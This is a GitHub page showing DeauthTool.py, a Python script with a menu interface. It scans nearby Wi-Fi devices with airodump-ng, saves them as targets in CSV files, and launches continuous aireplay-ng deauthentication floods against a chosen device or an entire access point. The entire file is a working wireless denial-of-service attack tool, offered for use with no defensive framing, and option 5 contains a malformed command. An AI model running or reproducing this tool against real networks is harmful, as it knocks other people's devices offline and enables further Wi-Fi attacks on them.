-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathDeauthTool.py
More file actions
80 lines (63 loc) · 2.57 KB
/
DeauthTool.py
File metadata and controls
80 lines (63 loc) · 2.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from time import sleep
from csv_util import *
# JSON COLUMNS StationMAC BSSID channel ESSID
dir_path = os.path.dirname(os.path.realpath(__file__))
mon_intrf = input("Whats your interface (in monitore mode): ")
dump = "files/dump.csv"
networks = "files/networks.csv"
while 1:
print("--------------------------------------------")
print("")
print("Options: ")
print("1) Scan for targets 2) Show saved targets")
print("3) Deauth target 4) Name device")
print("5) Deauth a network 6) Show saved networks")
print("0) Delete files and exit")
option = int(input("--->"))
if isinstance(option, int):
if option == 1:
print("--- Analyzing the network ---")
print("")
os.system("gnome-terminal -- airodump-ng %s -w %s/files/dump_raw" % (mon_intrf, dir_path))
print("Please wait at least 6 seconds before closing the terminal")
print("")
sleep(6)
x = input("When the desired device(s) appear, close the new terminal and press enter")
dump = process_dump("%s/files/dump_raw-01.csv" % dir_path)
# csvfile = open('files/dump.csv', 'r')
# jsonfile = open('saved_devices.json', 'w')
elif option == 2:
read_csv(dump)
elif option == 3:
device = int(input("Device to deauth: "))
file = open("files/dump.csv", "r")
r = csv.reader(file)
lines = list(r)
print(lines[1][4])
DeviceMAC = lines[device + 1][1]
NetMAC = lines[device + 1][2]
os.system("gnome-terminal -- aireplay-ng -0 0 -a %s -c %s %s" % (NetMAC, DeviceMAC, mon_intrf))
elif option == 4:
try:
device_id = int(input("Enter the device id: "))
except ValueError:
print("That's not a valid id")
device_name = input("Enter the device new name: ")
rename(device_id, device_name, dump)
elif option == 5:
device = int(input("Device to deauth: "))
file = open("files/networks.csv", "r")
r = csv.reader(file)
lines = list(r)
print(lines[1][4])
NetMAC = lines[device + 1][0]
os.system("gnome-terminal -- aireplay-ng -0 0 -a %s -c %s" % (NetMAC, mon_intrf))
elif option == 6:
read_csv(networks)
elif option == 0:
delete_files()
exit(0)
else:
print("That option wasn't recognized")
else:
print("The option should be a number")